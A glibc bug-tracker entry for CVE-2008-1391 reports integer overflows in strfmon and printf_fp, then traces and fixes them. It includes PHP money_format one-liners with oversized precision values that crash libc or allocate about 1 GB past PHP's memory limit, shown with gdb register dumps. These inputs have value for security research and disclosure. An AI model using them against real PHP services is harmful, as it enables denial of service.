Bug 10600 (CVE-2008-1391)

Summary: stdio/strfmon.c multiple vulnerabilities (CVE-2008-1391)
Product: glibc Reporter: cxib <cxib>
Component: libcAssignee: Ulrich Drepper <drepper.fsp>
Status: RESOLVED FIXED    
Severity: normal CC: fweimer, glibc-bugs, kees, thoger
Priority: P2 Flags: fweimer: security+
Version: 2.10   
Target Milestone: ---   
Host: Target:
Build: Last reconfirmed:

Description cxib 2009-09-03 20:31:12 UTC
Affected Software (tested 27.08.2009):
- Fedora 11
- Slackware 12.2
- Ubuntu 9.04
- others linux distributions

Previous URL:
http://securityreason.com/achievement_securityalert/53

--- 0.Description ---
strfmon -- convert monetary value to string

The strfmon() function places characters into the array pointed to by s as
controlled by the string pointed to by format. No more than maxsize bytes are
placed into the array.

The format string is composed of zero or more directives: ordinary characters
(not %), which are copied unchanged to the output stream; and
conversion specifications, each of which results in fetching zero or more
subsequent arguments. Each conversion specification is introduced by the %
character.

SYNOPSIS:

#include <monetary.h>

ssize_t
strfmon(char * restrict s, size_t maxsize, const char * restrict
format,
...);

--- 1. glibc 2.10.1 stdio/strfmon.c Multiple vulnerabilities ---
In March 2008, our team has published a security note (SREASONRES:20080325)
about vulnerabilities in strfmon(3) function. Issue has been officially
diagnosed in NetBSD, FreeBSD and MacOSX. However, from the source code due to a
glibc also is vulnerable to. We have informed glibc team. However, the
description of the issue and fix was not enough for gnu team. They has changed
status for BOGUS and response was:

---	
And what exactly does an BSD implementation has to do with glibc?
---

Today we now, only NetBSD is secure for this. And all systems uses glibc are
affected. Despite the differences in the code NetBSD libc and glibc, issue is
the same but the exploit differs from that presented in  (SREASONRES:20080325).

Description of the vulnerabalitie:
http://securityreason.com/achievement_securityalert/53 (SREASONRES:20080325)
http://xorl.wordpress.com/2009/04/11/cve-2008-1391-netbsd-strfmon-integer-overflow/

Description of the fix:
ftp://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2008-006.txt.asc

To present this issue in Fedora 11, we will use php client. money_format() use
strfmon(3) function so this program will be perfect.

[cx@localhost ~]$ php -r 'money_format("%.1073741821i",1);'
Segmentation fault

for 'money_format("%.1073741821i",1);' we will get

Program received signal SIGSEGV, Segmentation fault.
0x0019331a in __printf_fp () from /lib/libc.so.6

(gdb) bt
#0  0x0019331a in __printf_fp () from /lib/libc.so.6
#1  0x0018832b in __vstrfmon_l () from /lib/libc.so.6
#2  0x00187a36 in strfmon () from /lib/libc.so.6

strfmon() will call to __printf_fp() with overflowed arg. In result

(gdb) x/20s ($esi)-10
0x8448ff6:	 ""
0x8448ff7:	 ""
0x8448ff8:	 "0"
0x8448ffa:	 ""
0x8448ffb:	 ""
0x8448ffc:	 "0"
0x8448ffe:	 ""
0x8448fff:	 ""
0x8449000:	 <Address 0x8449000 out of bounds>
0x8449000:	 <Address 0x8449000 out of bounds>
0x8449000:	 <Address 0x8449000 out of bounds>
...
(gdb) i r
eax            0x30	48
ecx            0x0	0
edx            0x0	0
ebx            0x2bdff4	2875380
esp            0xbfffec14	0xbfffec14
ebp            0xbfffed78	0xbfffed78
esi            0x8449000	138711040
edi            0x810c	33036
eip            0x19331a	0x19331a <__printf_fp+3274>

Now let's see what will hapen for 'money_format("%.1073741822i",1);'

Program received signal SIGSEGV, Segmentation fault.
0x0034b27b in hack_digit.12295 () from /lib/libc.so.6

php will crash in hack_digit(). 
(gdb) i r
eax            0x3ffffffe	1073741822
ecx            0x32	50
edx            0x2	2
ebx            0x476ff4	4681716
esp            0xbfffebc4	0xbfffebc4
ebp            0xbfffebf4	0xbfffebf4
esi            0x32	50
edi            0x3e	62

we can try change edi register. 
For 'money_format("%.1073741824i",1);' 
(gdb) i r
eax            0x40000000	1073741824
ecx            0x32	50
edx            0x2	2
ebx            0x35bff4	3522548
esp            0xbfffebbc	0xbfffebbc
ebp            0xbfffebec	0xbfffebec
esi            0x32	50
edi            0x42	66


But let's see what will hapen for 'money_format("%.77715949976712904702i", 1.1);' 

crash in 
Program received signal SIGSEGV, Segmentation fault.
0x00e4327b in hack_digit.12295 () from /lib/libc.so.6
(gdb) i r
eax            0x3ffffffe	1073741822
ecx            0x34	52
edx            0x2	2
ebx            0xf6eff4	16183284
esp            0xbfffebb4	0xbfffebb4
ebp            0xbfffebe4	0xbfffebe4
esi            0x34	52
edi            0x3e	62

esi 52.
	
Interesting is that the PHP memory_limit has no control over what happens in the
level of the libc. Function strfmon(3) can allocate a lot of data in memory
without control by PHP memory_limit and will crash. 

For example:
php -r 'money_format("%.1343741821i",1);'

will allocate ~1049MB real memory.
memory_limit can be less that 1049M

Strange is the fact that nobody checked the code of glibc. The algorithm used in
BSD libc and glibc is very similar. Funy.
Comment 1 Tomas Hoger 2009-09-23 16:44:20 UTC
(In reply to comment #0)
> Affected Software (tested 27.08.2009):
> - Fedora 11
> - Slackware 12.2
> - Ubuntu 9.04
> - others linux distributions

Look like you should be listing architectures here too, as they do seem to
matter here.

> ---	
> And what exactly does an BSD implementation has to do with glibc?
> ---

That sounds like a reference to:
  http://sourceware.org/bugzilla/show_bug.cgi?id=9707

Further on, I'll be quoting this advisory:
  http://securityreason.com/achievement_securityalert/67

> Let's see libc/stdlib/strfmon_l.c (glibc rev-1.5.2.4)
 ...
> if (width > LONG_MAX / 10
>     || (width == LONG_MAX && val > LONG_MAX % 10))
>   {
>     __set_errno (E2BIG);
>     return -1;
>   }
 ...
> if (width >= maxsize - (dest - s))
>   {
>     __set_errno (E2BIG);
>     return -1;
>   }
 ..
> Perfect. The above code protects us.

For the posterity and completeness of references, integer overflow check was
added via following commit:

http://sourceware.org/git/?p=glibc.git;a=commitdiff;h=153aa31b93be22e01b236375fb02a9f9b9a0195f

This sounds like a reason why your original vector %99999999999999999999n does
not work any more.

> But what is below, is a mistake already

This seems to refer to missing integer overflows checks in the code converting
left_prec / right_prec from string to number, as similar approach is used there
as for converting width:

http://sourceware.org/git/?p=glibc.git;a=blob;f=stdlib/strfmon_l.c#l242
http://sourceware.org/git/?p=glibc.git;a=blob;f=stdlib/strfmon_l.c#l259

But wait, how does that explain a crash on "%.1073741821i"?  1073741821 is less
than 2^31, so it won't overflow (signed) integer on either 32 bit or 64 bit
architectures, right?

> info.width = left_prec + (right_prec ? (right_prec + 1) : 0);

This should not overflow either, as left_prec is 0 here.  So the problem seems
to be elsewhere...

So let's ignore srtfmon for a while and try something more simple:
  printf("%.1073741821f\n", 0.0);

Testing this on F11 glibc-2.10.1, this crashes when compiled with -m32, but does
not with -m64.  Little more looking leads to:

http://sourceware.org/git/?p=glibc.git;a=blob;f=stdio-common/printf_fp.c#l890

This is where integer overflow occurs (when computing wbuffer_to_alloc).  It
should also explain where do ~1gig memory usage come from with your
"%.1343741821i" test.

Ulrich, I bet your knowledge of this code is a lot better than reporter's and
mine combined, so you can come up with proper fix.  I just hope this additional
info does help.  Is it enough for NEW -> ASSIGNED state change.
Comment 3 Ulrich Drepper 2009-10-30 04:36:32 UTC
Only 32-bit had a problem and it's fixed.
Comment 4 Jackie Rosen 2014-02-16 17:43:56 UTC Comment hidden (spam)
Comment 5 Florian Weimer 2014-07-02 10:49:56 UTC
*** Bug 9707 has been marked as a duplicate of this bug. ***